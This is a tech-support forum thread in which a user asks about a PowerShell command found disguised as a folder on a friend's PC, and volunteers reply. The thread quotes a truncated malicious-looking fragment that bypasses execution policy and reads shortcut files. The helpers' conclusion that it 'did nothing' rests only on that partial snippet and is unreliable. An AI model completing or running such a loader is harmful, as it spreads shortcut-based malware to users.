Jump to content

Welcome to Geeks to Go - Register now for FREE

Need help with your computer or device? Want to learn new tech skills? You're in the right place!
Geeks to Go is a friendly community of tech experts who can solve any problem you have. Just create a free account and post your question. Our volunteers will reply quickly and guide you through the steps. Don't let tech troubles stop you. Join Geeks to Go now and get the support you need!

How it Works Create Account
Photo

powershell script - is it dangerous?

- - - - -

  • Please log in to reply

#1
Gumby©

Gumby©

    Member

  • Member
  • PipPip
  • 30 posts

I recently was helping a friend with her computer and came across a script posing as a folder. It was this:

 

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy UnRestricted function IJ($A) {$L = $Null;Get-ChildItem $A -Recurse -Depth 1 -ErrorAction 'SilentlyContinue' | ? {$_.extension -eq '.lnk'} | % {$Hu = [String](Get-Content $_.FullName);$

 

Anyone know what this does? Is it dangerous if clicked? If so, can it be reversed? Thanks for you time.


  • 0

Advertisements


#2
DR M

DR M

    The Grecian Geek

  • Malware Removal
  • 4,096 posts

Have you run a scan with the default antivirus?


  • 0

#3
Gumby©

Gumby©

    Member

  • Topic Starter
  • Member
  • PipPip
  • 30 posts

Yes and nothing came up. Still wondering what it does.


  • 0

#4
zep516

zep516

    Trusted Helper

  • Malware Removal
  • 8,090 posts

Hello Gumby@

 

"It's only part of a script.
 
The code sets the Execution   policy to Unrestricted (not good)
 
It then iterates through supposedly a folder passed to the function of all shortcuts in that folder
 
and copies the contents of each shortcut.
 
It's useless without parameters being passed to it."

  • 0

#5
Gumby©

Gumby©

    Member

  • Topic Starter
  • Member
  • PipPip
  • 30 posts

Thanks zep516. Glad to know it did nothing.


  • 0

#6
zep516

zep516

    Trusted Helper

  • Malware Removal
  • 8,090 posts

You're welcome.

 

I actually had to get some help from someone and just conveyed his information to you .


  • 0






Similar Topics

0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users

As Featured On:

Microsoft Yahoo BBC MSN PC Magazine Washington Post HP